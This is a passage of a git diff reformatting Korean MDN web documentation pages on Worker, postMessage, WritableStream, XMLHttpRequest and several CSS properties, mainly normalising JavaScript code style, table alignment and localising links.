 2. window 객체의 내장된 프로퍼티들은 window. 접두사 없이도 참조가 가능하다.
 
-    ```js
-    setTimeout("alert('Hi!')", 50); // window.setTimeout. 을 사용한 것과 동일하다.
-    alert(window === window.window); // true를 반환한다.
-    ```
+   ```js
+   setTimeout("alert('Hi!')", 50); // window.setTimeout. 을 사용한 것과 동일하다.
+   alert(window === window.window); // true를 반환한다.
+   ```
 
 자기 자신을 참조하는 window 라는 프로퍼티가 있다는 것은 (아마도) 전역 객체를 쉽게 참조하기 위함으로 생각된다.(없다면 스크립트 첫 부분에 다음과 같이 직접 만들어주었어야 했다. var window = this;)
 
diff --git a/files/ko/web/api/worker/index.md b/files/ko/web/api/worker/index.md
index 0618b2d005f448..5e9703b2b559ca 100644
--- a/files/ko/web/api/worker/index.md
+++ b/files/ko/web/api/worker/index.md
@@ -2,6 +2,7 @@
 title: Worker
 slug: Web/API/Worker
 ---
+
 {{APIRef("Web Workers API")}}
 
 [Web Workers API](/ko/docs/Web/API/Web_Workers_API)의 **`Worker`** 인터페이스는 스크립트로 생성하고, 생성자와 메시지로 통신하는 백그라운드 작업을 나타냅니다. 워커의 생성은 `Worker("path/to/worker/script")` 생성자를 통해 할 수 있습니다.
@@ -58,12 +59,12 @@ slug: Web/API/Worker
 
 ```js
 var myWorker = new Worker("worker.js");
-var first = document.querySelector('#number1');
+var first = document.querySelector("#number1");
 
-first.onchange = function() {
-  myWorker.postMessage([first.value,second.value]);
-  console.log('Message posted to worker');
-}
+first.onchange = function () {
+  myWorker.postMessage([first.value, second.value]);
+  console.log("Message posted to worker");
+};
 ```
 
 전체 예제를 보시려면 저희의 [simple-web-worker 예제](https://github.com/mdn/simple-web-worker) ([라이브](http://mdn.github.io/simple-web-worker/))를 참고하세요.
diff --git a/files/ko/web/api/worker/postmessage/index.md b/files/ko/web/api/worker/postmessage/index.md
index d618a1f7f2c6af..848e92f86b0e1e 100644
--- a/files/ko/web/api/worker/postmessage/index.md
+++ b/files/ko/web/api/worker/postmessage/index.md
@@ -2,6 +2,7 @@
 title: Worker.postMessage()
 slug: Web/API/Worker/postMessage
 ---
+
 {{APIRef("Web Workers API")}}
 
 {{domxref("Worker")}} interface의 메서드, **`postMessage()`** 는 `Worker` 자신의 내부 영역으로 메시지를 전달합니다. 이 메서드는 `Worker` 자신에게 보낼 하나의 매개변수를 받습니다. 매개변수로 들어갈 데이터는 순환 참조를 포함하는 [structured clone](/ko/docs/Web/Guide/DOM/The_structured_clone_algorithm) algorithm에 의해 다루어지는 JavaScript 객체를 포함에 어떤 값이든 들어갈 수 있습니다.
@@ -16,7 +17,7 @@ myWorker.postMessage(aMessage, transferList);
 
 ### Parameters
 
-<dl><dt><em>aMessage</em></dt><dd>worker로 전해 줄 객체; 이 매개변수는 {{domxref("DedicatedWorkerGlobalScope.onmessage")}} 이벤트 핸들러로 전해질 이벤트의 데이터 필드에 들어갈 것이다. 순환 참조를 포함하는 <a href="/en-US/docs/Web/Guide/DOM/The_structured_clone_algorithm" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-dom-interfaces.html#transferable">structured clone</a> 알고리즘에 의해 다루어지는 JavaScript 객체 혹은 어떤 값이라도 이 매개변수에 들어갈 수 있다.</dd><dt><em>transferList</em> {{optional_inline}}</dt><dd>An optional <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">array</a> of {{domxref("Transferable")}} objects to transfer ownership of. If the ownership of an object is transferred, it becomes unusable (<em>neutered</em>) in the context it was sent from and becomes available only to the worker it was sent to.</dd><dd>Transferable objects are instances of classes like {{domxref("ArrayBuffer")}}, {{domxref("MessagePort")}} or {{domxref("ImageBitmap")}} objects can be transferred. <code>null</code> is not an acceptable value for the <code>transferList</code>.</dd></dl>
+<dl><dt><em>aMessage</em></dt><dd>worker로 전해 줄 객체; 이 매개변수는 {{domxref("DedicatedWorkerGlobalScope.onmessage")}} 이벤트 핸들러로 전해질 이벤트의 데이터 필드에 들어갈 것이다. 순환 참조를 포함하는 <a href="/ko/docs/Web/Guide/DOM/The_structured_clone_algorithm" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-dom-interfaces.html#transferable">structured clone</a> 알고리즘에 의해 다루어지는 JavaScript 객체 혹은 어떤 값이라도 이 매개변수에 들어갈 수 있다.</dd><dt><em>transferList</em> {{optional_inline}}</dt><dd>An optional <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array" title="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array">array</a> of {{domxref("Transferable")}} objects to transfer ownership of. If the ownership of an object is transferred, it becomes unusable (<em>neutered</em>) in the context it was sent from and becomes available only to the worker it was sent to.</dd><dd>Transferable objects are instances of classes like {{domxref("ArrayBuffer")}}, {{domxref("MessagePort")}} or {{domxref("ImageBitmap")}} objects can be transferred. <code>null</code> is not an acceptable value for the <code>transferList</code>.</dd></dl>
 
 ### Returns
 
@@ -27,17 +28,17 @@ Void.
 The following code snippet shows the creation of a {{domxref("Worker")}} object using the {{domxref("Worker.Worker", "Worker()")}} constructor. When either of two form inputs (`first` and `second`) have their values changed, {{event("change")}} events invoke `postMessage()` to send the value of both inputs to the current worker.
 
 ```js
-var myWorker = new Worker('worker.js');
+var myWorker = new Worker("worker.js");
 
-first.onchange = function() {
-  myWorker.postMessage([first.value,second.value]);
-  console.log('Message posted to worker');
-}
+first.onchange = function () {
+  myWorker.postMessage([first.value, second.value]);
+  console.log("Message posted to worker");
+};
 
-second.onchange = function() {
-  myWorker.postMessage([first.value,second.value]);
-  console.log('Message posted to worker');
-}
+second.onchange = function () {
+  myWorker.postMessage([first.value, second.value]);
+  console.log("Message posted to worker");
+};
 ```
 
 For a full example, see our[Basic dedicated worker example](https://github.com/mdn/simple-web-worker) ([run dedicated worker](http://mdn.github.io/simple-web-worker/)).
@@ -48,60 +49,60 @@ For a full example, see our[Basic dedicated worker example](https://github.com/m
 
 This example shows a Firefox add-on that transfers an `ArrayBuffer` from the main thread to the `ChromeWorker`, and then the `ChromeWorker` transfers it back to the main thread.
 
-#### Main thread code:
+#### Main thread code
 
 ```js
-var myWorker = new ChromeWorker(self.path + 'myWorker.js');
+var myWorker = new ChromeWorker(self.path + "myWorker.js");
 
 function handleMessageFromWorker(msg) {
-    console.log('incoming message from worker, msg:', msg);
-    switch (msg.data.aTopic) {
-        case 'do_sendMainArrBuff':
-            sendMainArrBuff(msg.data.aBuf)
-            break;
-        default:
-            throw 'no aTopic on incoming message to ChromeWorker';
-    }
+  console.log("incoming message from worker, msg:", msg);
+  switch (msg.data.aTopic) {
+    case "do_sendMainArrBuff":
+      sendMainArrBuff(msg.data.aBuf);
+      break;
+    default:
+      throw "no aTopic on incoming message to ChromeWorker";
+  }
 }
 
-myWorker.addEventListener('message', handleMessageFromWorker);
+myWorker.addEventListener("message", handleMessageFromWorker);
 
 // Ok lets create the buffer and send it
 var arrBuf = new ArrayBuffer(8);
-console.info('arrBuf.byteLength pre transfer:', arrBuf.byteLength);
+console.info("arrBuf.byteLength pre transfer:", arrBuf.byteLength);
 
 myWorker.postMessage(
-    {
-        aTopic: 'do_sendWorkerArrBuff',
-        aBuf: arrBuf // The array buffer that we passed to the transferrable section 3 lines below
-    },
-    [
-        arrBuf // The array buffer we created 9 lines above
-    ]
+  {
+    aTopic: "do_sendWorkerArrBuff",
+    aBuf: arrBuf, // The array buffer that we passed to the transferrable section 3 lines below
+  },
+  [
+    arrBuf, // The array buffer we created 9 lines above
+  ],
 );
 
-console.info('arrBuf.byteLength post transfer:', arrBuf.byteLength);
+console.info("arrBuf.byteLength post transfer:", arrBuf.byteLength);
 ```
 
 #### Worker code
 
 ```js
 self.onmessage = function (msg) {
-    switch (msg.data.aTopic) {
-        case 'do_sendWorkerArrBuff':
-                sendWorkerArrBuff(msg.data.aBuf)
-            break;
-        default:
-            throw 'no aTopic on incoming message to ChromeWorker';
-    }
-}
+  switch (msg.data.aTopic) {
+    case "do_sendWorkerArrBuff":
+      sendWorkerArrBuff(msg.data.aBuf);
+      break;
+    default:
+      throw "no aTopic on incoming message to ChromeWorker";
+  }
+};
 
 function sendWorkerArrBuff(aBuf) {
-    console.info('from worker, PRE send back aBuf.byteLength:', aBuf.byteLength);
+  console.info("from worker, PRE send back aBuf.byteLength:", aBuf.byteLength);
 
-    self.postMessage({aTopic:'do_sendMainArrBuff', aBuf:aBuf}, [aBuf]);
+  self.postMessage({ aTopic: "do_sendMainArrBuff", aBuf: aBuf }, [aBuf]);
 
-    console.info('from worker, POST send back aBuf.byteLength:', aBuf.byteLength);
+  console.info("from worker, POST send back aBuf.byteLength:", aBuf.byteLength);
 }
 ```
 
diff --git a/files/ko/web/api/worker/terminate/index.md b/files/ko/web/api/worker/terminate/index.md
index b464ae623dc7c9..2a2135725fab31 100644
--- a/files/ko/web/api/worker/terminate/index.md
+++ b/files/ko/web/api/worker/terminate/index.md
@@ -26,7 +26,7 @@ terminate()
 아래의 코드 스니펫은 {{domxref("Worker.Worker", "Worker()")}} 생성자를 이용하여 {{domxref("Worker")}} 객체를 생성하고, 즉시 종료하는 예를 보여줍니다.
 
 ```js
-const myWorker = new Worker('worker.js');
+const myWorker = new Worker("worker.js");
 
 myWorker.terminate();
 ```
diff --git a/files/ko/web/api/writablestream/index.md b/files/ko/web/api/writablestream/index.md
index 2b998c748180b2..5a36b5df15bbff 100644
--- a/files/ko/web/api/writablestream/index.md
+++ b/files/ko/web/api/writablestream/index.md
@@ -29,7 +29,7 @@ slug: Web/API/WritableStream
 아래 예시는 본 인터페이스의 몇 가지 기능을 소개합니다. 커스텀 콜백과 API를 통한 queuing strategy 값을 가지고 `WritableStream`을 생성하는 법을 보여줍니다. 그 후 생성된 스트림과 문자열을 전달하여 `sendMessage()`를 합니다. 함수 내부에선 {{domxref("WritableStreamDefaultWriter")}} 인스턴스를 반환하는 스트림의 `getWriter()` 메소드를 호출합니다. 문자열 조각들을 각각 스트림에 쓰기 위해 `forEach()` 를 사용하구요. 마지막으로 문자열 조각과 스트림 성공/실패를 처리하기 위해 `write()`와 `close()`는 Promise를 반환합니다.
 
 ```js
-const list = document.querySelector('ul');
+const list = document.querySelector("ul");
 
 function sendMessage(message, writableStream) {
   // defaultWriter is of type WritableStreamDefaultWriter
@@ -65,30 +65,33 @@ function sendMessage(message, writableStream) {
 const decoder = new TextDecoder("utf-8");
 const queuingStrategy = new CountQueuingStrategy({ highWaterMark: 1 });
 let result = "";
-const writableStream = new WritableStream({
-  // Implement the sink
-  write(chunk) {
-    return new Promise((resolve, reject) => {
-      var buffer = new ArrayBuffer(2);
-      var view = new Uint16Array(buffer);
-      view[0] = chunk;
-      var decoded = decoder.decode(view, { stream: true });
-      var listItem = document.createElement('li');
-      listItem.textContent = "Chunk decoded: " + decoded;
+const writableStream = new WritableStream(
+  {
+    // Implement the sink
+    write(chunk) {
+      return new Promise((resolve, reject) => {
+        var buffer = new ArrayBuffer(2);
+        var view = new Uint16Array(buffer);
+        view[0] = chunk;
+        var decoded = decoder.decode(view, { stream: true });
+        var listItem = document.createElement("li");
+        listItem.textContent = "Chunk decoded: " + decoded;
+        list.appendChild(listItem);
+        result += decoded;
+        resolve();
+      });
+    },
+    close() {
+      var listItem = document.createElement("li");
+      listItem.textContent = "[MESSAGE RECEIVED] " + result;
       list.appendChild(listItem);
-      result += decoded;
-      resolve();
-    });
-  },
-  close() {
-    var listItem = document.createElement('li');
-    listItem.textContent = "[MESSAGE RECEIVED] " + result;
-    list.appendChild(listItem);
+    },
+    abort(err) {
+      console.log("Sink error:", err);
+    },
   },
-  abort(err) {
-    console.log("Sink error:", err);
-  }
-}, queuingStrategy);
+  queuingStrategy,
+);
 
 sendMessage("Hello, world.", writableStream);
 ```
diff --git a/files/ko/web/api/xmlhttprequest/index.md b/files/ko/web/api/xmlhttprequest/index.md
index 0def4c42bbaff1..b97dae2433f43e 100644
--- a/files/ko/web/api/xmlhttprequest/index.md
+++ b/files/ko/web/api/xmlhttprequest/index.md
@@ -41,6 +41,7 @@ slug: Web/API/XMLHttpRequest
 - {{domxref("XMLHttpRequest.status")}} {{readonlyinline}}
   - : 응답의 [HTTP 상태 코드](/ko/docs/Web/HTTP/Status)를 반환합니다.
 - {{domxref("XMLHttpRequest.statusText")}} {{readonlyinline}}
+
   - : HTTP 서버가 반환한 응답 문자열을 담은 `string`을 반환합니다. {{domxref("XMLHttpRequest.status")}}와 달리, `statusText`는 "`OK`"와 같은 응답 상태 메시지의 전문을 반환합니다
 
     > **참고:** HTTP/1.1의 상태 텍스트와 같이 프로토콜 버전과 응답의 이유를 알릴 방법이 HTTP/2 명세에는 없습니다. ({{RFC(7540, "Response Pseudo-Header Fields", "8.1.2.4")}})
diff --git a/files/ko/web/api/xmlhttprequest/setrequestheader/index.md b/files/ko/web/api/xmlhttprequest/setrequestheader/index.md
index 3ccdc4534293d9..ef2692cfb5d126 100644
--- a/files/ko/web/api/xmlhttprequest/setrequestheader/index.md
+++ b/files/ko/web/api/xmlhttprequest/setrequestheader/index.md
@@ -2,6 +2,7 @@
 title: XMLHttpRequest.setRequestHeader()
 slug: Web/API/XMLHttpRequest/setRequestHeader
 ---
+
 {{APIRef('XMLHttpRequest')}}
 
 **XMLHttpRequest.setRequestHeader()** 메소드는 HTTP요청 헤더의 값을 설정합니다. 반드시 `setRequestHeader()`를 [`open()`](#open)뒤에 호출하여야 하며, 또한 `send()`가 호출되기 전에 호출해야 합니다. 만약 이 메소드가 같은 헤더에 대하여 여러번 호출이 되면, 그 값은 단일 요청 헤더에 병합됩니다.
diff --git a/files/ko/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.md b/files/ko/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.md
index 79a144b15ba0c5..1595b0632fad54 100644
--- a/files/ko/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.md
+++ b/files/ko/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.md
@@ -2,9 +2,10 @@
 title: Synchronous and asynchronous requests
 slug: Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests
 ---
+
 `XMLHttpRequest` 는 동기적 통신과 비동기적 통신을 모두 지원합니다. 하지만, 일반적으로는 성능상의 이유로 인하여 비동기적 요청이 동기적 요청보다 우선시 되어야 합니다.
 
-동기 요청은 코드 실행을 차단하여 화면에 “얼어붙어” 버리고 응답하지 없는 사용자 경험을 만듭니다.
+동기 요청은 코드 실행을 차단하여 화면에 "얼어붙어" 버리고 응답하지 없는 사용자 경험을 만듭니다.
 
 ## Asynchronous request
 
@@ -44,21 +45,21 @@ In some cases, you must read many external files. This is a standard function wh
 
 ```js
 function xhrSuccess() {
-    this.callback.apply(this, this.arguments);
+  this.callback.apply(this, this.arguments);
 }
 
 function xhrError() {
-    console.error(this.statusText);
+  console.error(this.statusText);
 }
 
 function loadFile(url, callback /*, opt_arg1, opt_arg2, ... */) {
-    var xhr = new XMLHttpRequest();
-    xhr.callback = callback;
-    xhr.arguments = Array.prototype.slice.call(arguments, 2);
-    xhr.onload = xhrSuccess;
-    xhr.onerror = xhrError;
-    xhr.open("GET", url, true);
-    xhr.send(null);
+  var xhr = new XMLHttpRequest();
+  xhr.callback = callback;
+  xhr.arguments = Array.prototype.slice.call(arguments, 2);
+  xhr.onload = xhrSuccess;
+  xhr.onerror = xhrError;
+  xhr.open("GET", url, true);
+  xhr.send(null);
 }
 ```
 
@@ -66,7 +67,7 @@ Usage:
 
 ```js
 function showMessage(message) {
-    console.log(message + this.responseText);
+  console.log(message + this.responseText);
 }
 
 loadFile("message.txt", showMessage, "New message!\n\n");
@@ -92,23 +93,23 @@ You can use a timeout to prevent hanging your code forever while waiting for a r
 
 ```js
 function loadFile(url, timeout, callback) {
-    var args = Array.prototype.slice.call(arguments, 3);
-    var xhr = new XMLHttpRequest();
-    xhr.ontimeout = function () {
-        console.error("The request for " + url + " timed out.");
-    };
-    xhr.onload = function() {
-        if (xhr.readyState === 4) {
-            if (xhr.status === 200) {
-                callback.apply(xhr, args);
-            } else {
-                console.error(xhr.statusText);
-            }
-        }
-    };
-    xhr.open("GET", url, true);
-    xhr.timeout = timeout;
-    xhr.send(null);
+  var args = Array.prototype.slice.call(arguments, 3);
+  var xhr = new XMLHttpRequest();
+  xhr.ontimeout = function () {
+    console.error("The request for " + url + " timed out.");
+  };
+  xhr.onload = function () {
+    if (xhr.readyState === 4) {
+      if (xhr.status === 200) {
+        callback.apply(xhr, args);
+      } else {
+        console.error(xhr.statusText);
+      }
+    }
+  };
+  xhr.open("GET", url, true);
+  xhr.timeout = timeout;
+  xhr.send(null);
 }
 ```
 
@@ -117,8 +118,8 @@ Notice the addition of code to handle the "timeout" event by setting the `ontime
 Usage:
 
 ```js
-function showMessage (message) {
-    console.log(message + this.responseText);
+function showMessage(message) {
+  console.log(message + this.responseText);
 }
 
 loadFile("message.txt", 2000, showMessage, "New message!\n");
@@ -142,7 +143,7 @@ This example demonstrates how to make a simple synchronous request.
 
 ```js
 var request = new XMLHttpRequest();
-request.open('GET', '/bar/foo.txt', false);  // `false` makes the request synchronous
+request.open("GET", "/bar/foo.txt", false); // `false` makes the request synchronous
 request.send(null);
 
 if (request.status === 200) {
@@ -156,42 +157,42 @@ Line 5 checks the status code after the transaction is completed. If the result
 
 ### Example: Synchronous HTTP request from a `Worker`
 
-One of the few cases in which a synchronous request does not usually block execution is the use of `XMLHttpRequest` within a [`Worker`](/en-US/docs/Web/API/Worker).
+One of the few cases in which a synchronous request does not usually block execution is the use of `XMLHttpRequest` within a [`Worker`](/ko/docs/Web/API/Worker).
 
 **`example.html`** (the main page):
 
 ```html
 <!doctype html>
 <html>
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-<title>MDN Example</title>
-<script type="text/javascript">
-  var worker = new Worker("myTask.js");
-  worker.onmessage = function(event) {
-    alert("Worker said: " + event.data);
-  };
-
-  worker.postMessage("Hello");
-</script>
-</head>
-<body></body>
+  <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+    <title>MDN Example</title>
+    <script type="text/javascript">
+      var worker = new Worker("myTask.js");
+      worker.onmessage = function (event) {
+        alert("Worker said: " + event.data);
+      };
+
+      worker.postMessage("Hello");
+    </script>
+  </head>
+  <body></body>
 </html>
 ```
 
-**`myFile.txt`** (the target of the synchronous [`XMLHttpRequest`](/en-US/docs/Web/API/XMLHttpRequest) invocation):
+**`myFile.txt`** (the target of the synchronous [`XMLHttpRequest`](/ko/docs/Web/API/XMLHttpRequest) invocation):
 
 ```
 Hello World!!
 ```
 
-**`myTask.js`** (the [`Worker`](/en-US/docs/Web/API/Worker)):
+**`myTask.js`** (the [`Worker`](/ko/docs/Web/API/Worker)):
 
 ```js
 self.onmessage = function (event) {
   if (event.data === "Hello") {
     var xhr = new XMLHttpRequest();
-    xhr.open("GET", "myFile.txt", false);  // synchronous request
+    xhr.open("GET", "myFile.txt", false); // synchronous request
     xhr.send(null);
     self.postMessage(xhr.responseText);
   }
@@ -209,13 +210,13 @@ There are some cases in which the synchronous usage of XMLHttpRequest was not re
 The following example (from the [sendBeacon docs](/ko/docs/Web/API/Navigator/sendBeacon)) shows a theoretical analytics code that attempts to submit data to a server by using a synchronous XMLHttpRequest in an unload handler. This results in the unloading of the page to be delayed.
 
 ```js
-window.addEventListener('unload', logData, false);
+window.addEventListener("unload", logData, false);
 
 function logData() {
-    var client = new XMLHttpRequest();
-    client.open("POST", "/log", false); // third parameter indicates sync xhr. :(
-    client.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
-    client.send(analyticsData);
+  var client = new XMLHttpRequest();
+  client.open("POST", "/log", false); // third parameter indicates sync xhr. :(
+  client.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
+  client.send(analyticsData);
 }
 ```
 
@@ -224,10 +225,10 @@ Using the **`sendBeacon()`** method, the data will be transmitted asynchronously
 The following example shows a theoretical analytics code pattern that submits data to a server by using the **`sendBeacon()`** method.
 
 ```js
-window.addEventListener('unload', logData, false);
+window.addEventListener("unload", logData, false);
 
 function logData() {
-    navigator.sendBeacon("/log", analyticsData);
+  navigator.sendBeacon("/log", analyticsData);
 }
 ```
 
@@ -236,4 +237,4 @@ function logData() {
 - [`XMLHttpRequest`](/ko/docs/Web/API/XMLHttpRequest)
 - [Using XMLHttpRequest](/ko/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest)
 - [AJAX](/ko/docs/Web/Guide/AJAX)
-- [`navigator.sendBeacon`](/en-US/docs/Web/API/Navigator/sendBeacon)
+- [`navigator.sendBeacon`](/ko/docs/Web/API/Navigator/sendBeacon)
diff --git a/files/ko/web/api/xmlhttprequest/timeout_event/index.md b/files/ko/web/api/xmlhttprequest/timeout_event/index.md
index b976f28dc5cffd..37502c9dcdd28e 100644
--- a/files/ko/web/api/xmlhttprequest/timeout_event/index.md
+++ b/files/ko/web/api/xmlhttprequest/timeout_event/index.md
@@ -6,20 +6,20 @@ original_slug: Web/API/XMLHttpRequest/timeout
 
 **`timeout`** 이벤트는 미리 설정한 시간이 만료되어 진행이 종료되면 시작합니다.
 
-| Bubbles        | No                                       |
-| -------------- | ---------------------------------------- |
-| Cancelable     | No                                       |
+| Bubbles        | No                            |
+| -------------- | ----------------------------- |
+| Cancelable     | No                            |
 | Target objects | {{domxref("XMLHttpRequest")}} |
-| Interface      | {{domxref("ProgressEvent")}}     |
+| Interface      | {{domxref("ProgressEvent")}}  |
 
 ## Examples
 
 ```js
 var client = new XMLHttpRequest();
 client.open("GET", "http://www.example.org/example.txt");
-client.ontimeout = function(e) {
+client.ontimeout = function (e) {
   console.error("Timeout!!");
-}
+};
 client.send();
 ```
 
diff --git a/files/ko/web/api/xmlhttprequest/upload/index.md b/files/ko/web/api/xmlhttprequest/upload/index.md
index 43b536f406e797..44ddd14423d9d0 100644
--- a/files/ko/web/api/xmlhttprequest/upload/index.md
+++ b/files/ko/web/api/xmlhttprequest/upload/index.md
@@ -9,15 +9,15 @@ slug: Web/API/XMLHttpRequest/upload
 
 upload 이벤트에서 다음 이벤트가 트리거되어 업로드를 모니터링하는데 사용할 수 있습니다.
 
-| Event                        | Event listener                                                               | Description                                                                                                                                                                                                                       |
-| ---------------------------- | ---------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Event                  | Event listener                                           | Description                                                                                                                                                                                                                       |
+| ---------------------- | -------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
 | {{event("loadstart")}} | {{domxref("XMLHttpRequest.onloadstart", "onloadstart")}} | 업로드가 시작되었습니다.                                                                                                                                                                                                          |
-| {{event("progress")}} | {{domxref("XMLHttpRequest.onprogress", "onprogress")}}     | 지금까지 진행된 상태를 정기적으로 제공합니다.                                                                                                                                                                                     |
-| {{event("abort")}}     | {{domxref("XMLHttpRequest.onabort", "onabort")}}             | 업로드가 중단되었습니다.                                                                                                                                                                                                          |
-| {{event("error")}}     | {{domxref("XMLHttpRequest.onerror", "onerror")}}             | 에러로 인해 업로드에 실패했습니다.                                                                                                                                                                                                |
-| {{event("load")}}     | {{domxref("XMLHttpRequest.onload", "onload")}}                 | 업로드가 성공적으로 완료되었습니다.                                                                                                                                                                                               |
-| {{event("timeout")}} | {{domxref("XMLHttpRequest.ontimeout", "ontimeout")}}         | {{domxref("XMLHttpRequest.timeout")}}에 명시되어 있는 시간 간격 내에 응답이 도착하지 않아, 업로드 시간이 초과되었습니다.                                                                                               |
-| {{event("loadend")}} | {{domxref("XMLHttpRequest.onloadend", "onloadend")}}         | 업로드가 완료되었습니다. 이 이벤트는 성공과 실패를 구분하지 않고 결과에 관계없이 업로드가 끝나면 전송됩니다. 이 이벤트 발생 이전에는 전송이 종료된 이유를 나타내기 위해 `load`, `error`, `abort`, `timeout` 중 하나를 전달합니다. |
+| {{event("progress")}}  | {{domxref("XMLHttpRequest.onprogress", "onprogress")}}   | 지금까지 진행된 상태를 정기적으로 제공합니다.                                                                                                                                                                                     |
+| {{event("abort")}}     | {{domxref("XMLHttpRequest.onabort", "onabort")}}         | 업로드가 중단되었습니다.                                                                                                                                                                                                          |
+| {{event("error")}}     | {{domxref("XMLHttpRequest.onerror", "onerror")}}         | 에러로 인해 업로드에 실패했습니다.                                                                                                                                                                                                |
+| {{event("load")}}      | {{domxref("XMLHttpRequest.onload", "onload")}}           | 업로드가 성공적으로 완료되었습니다.                                                                                                                                                                                               |
+| {{event("timeout")}}   | {{domxref("XMLHttpRequest.ontimeout", "ontimeout")}}     | {{domxref("XMLHttpRequest.timeout")}}에 명시되어 있는 시간 간격 내에 응답이 도착하지 않아, 업로드 시간이 초과되었습니다.                                                                                                          |
+| {{event("loadend")}}   | {{domxref("XMLHttpRequest.onloadend", "onloadend")}}     | 업로드가 완료되었습니다. 이 이벤트는 성공과 실패를 구분하지 않고 결과에 관계없이 업로드가 끝나면 전송됩니다. 이 이벤트 발생 이전에는 전송이 종료된 이유를 나타내기 위해 `load`, `error`, `abort`, `timeout` 중 하나를 전달합니다. |
 
 ## 명세서
 
diff --git a/files/ko/web/css/-webkit-line-clamp/index.md b/files/ko/web/css/-webkit-line-clamp/index.md
index e8b256f6e0aa10..9933bf3bcb9cf4 100644
--- a/files/ko/web/css/-webkit-line-clamp/index.md
+++ b/files/ko/web/css/-webkit-line-clamp/index.md
@@ -83,5 +83,5 @@ p {
 
 ## 같이 보기
 
-- [Line Clampin’ (Truncating Multiple Line Text)](https://css-tricks.com/line-clampin/)
+- [Line Clampin' (Truncating Multiple Line Text)](https://css-tricks.com/line-clampin/)
 - {{cssxref("line-clamp")}}
diff --git a/files/ko/web/css/@font-face/index.md b/files/ko/web/css/@font-face/index.md
index fc1e357b944fc8..39978560919464 100644
--- a/files/ko/web/css/@font-face/index.md
+++ b/files/ko/web/css/@font-face/index.md
@@ -86,7 +86,7 @@ slug: Web/CSS/@font-face
 
 ## 참고자료(See also)
 
-- [About WOFF](/en-US/docs/Web/Guide/WOFF)
+- [About WOFF](/ko/docs/Web/Guide/WOFF)
 - [FontSquirrel @font-face generator](http://www.fontsquirrel.com/fontface/generator)
 - [Beautiful fonts with @font-face](http://hacks.mozilla.org/2009/06/beautiful-fonts-with-font-face/)
 - [Open Font Library](http://openfontlibrary.org/)
diff --git a/files/ko/web/css/_doublecolon_placeholder/index.md b/files/ko/web/css/_doublecolon_placeholder/index.md
index 6c2d8072bd8b17..ee060f9552d94c 100644
--- a/files/ko/web/css/_doublecolon_placeholder/index.md
+++ b/files/ko/web/css/_doublecolon_placeholder/index.md
@@ -42,7 +42,7 @@ Color contrast ratio is determined by comparing the luminosity of the placeholde
 
 Placeholder text with sufficient color contrast may be interpreted as entered input. Placeholder text will also disappear when a person enters content into an {{htmlelement("input")}} element. Both of these circumstances can interfere with successful form completion, especially for people with cognitive concerns.
 
-An alternate approach to providing placeholder information is to include it outside of the input in close visual proximity, then use [`aria-describedby`](/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute) to programmatically associate the {{HTMLElement("input")}} with its hint.
+An alternate approach to providing placeholder information is to include it outside of the input in close visual proximity, then use [`aria-describedby`](/ko/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute) to programmatically associate the {{HTMLElement("input")}} with its hint.
 
 With this implementation, the hint content is available even if information is entered into the input field, and the input appears free of preexisting input when the page is loaded. Most screen reading technology will use `aria-describedby` to read the hint after the input's label text is announced, and the person using the screen reader can mute it if they find the extra information unnecessary.
 
diff --git a/files/ko/web/css/basic-shape/index.md b/files/ko/web/css/basic-shape/index.md
index b8a48c73bcfbce..c117c91d0ac6ac 100644
--- a/files/ko/web/css/basic-shape/index.md
+++ b/files/ko/web/css/basic-shape/index.md
@@ -121,7 +121,7 @@ When animating between one `<basic-shape>` and another, the rules below are appl
 
 ### Animated polygon
 
-In this example, we use the [@keyframes](/en-US/docs/Web/CSS/@keyframes) at-rule to animate a clip path between two polygons. Note that both polygons have the same number of vertices, which is necessary for this type of animation to work.
+In this example, we use the [@keyframes](/ko/docs/Web/CSS/@keyframes) at-rule to animate a clip path between two polygons. Note that both polygons have the same number of vertices, which is necessary for this type of animation to work.
 
 #### HTML
 
@@ -168,4 +168,4 @@ div {
 
 - Properties that use this data type: {{cssxref("clip-path")}}, {{cssxref("shape-outside")}}
 - [Edit Shape Paths in CSS — Firefox Developer Tools](https://firefox-source-docs.mozilla.org/devtools-user/page_inspector/how_to/edit_css_shapes/index.html)
-- [Overview of CSS Shapes](/en-US/docs/Web/CSS/CSS_Shapes/Overview_of_CSS_Shapes)
+- [Overview of CSS Shapes](/ko/docs/Web/CSS/CSS_Shapes/Overview_of_CSS_Shapes)
diff --git a/files/ko/web/css/box-shadow/index.md b/files/ko/web/css/box-shadow/index.md
index 3d6340df105830..5f2e45c101524e 100644
--- a/files/ko/web/css/box-shadow/index.md
+++ b/files/ko/web/css/box-shadow/index.md
@@ -60,7 +60,7 @@ box-shadow: unset;
 - `<blur-radius>`
   - : 세 번째 {{cssxref("&lt;length&gt;")}} 값입니다. 크면 클 수록 그림자 테두리가 흐려지므로 크기는 더 커지고 색은 더 밝아집니다. 음수 값은 사용할 수 없습니다. 값을 설정하지 않으면 `0`이 되어 테두리가 선명해집니다. 명세는 흐림 효과의 지름을 어떻게 계산해야 하는지 정확한 알고리즘은 명시하지 않았지만 대신 다음과 같이 설명하고 있습니다.
 
-  …for a long, straight shadow edge, this should create a color transition the length of the blur distance that is perpendicular to and centered on the shadow’s edge, and that ranges from the full shadow color at the radius endpoint inside the shadow to fully transparent at the endpoint outside it.
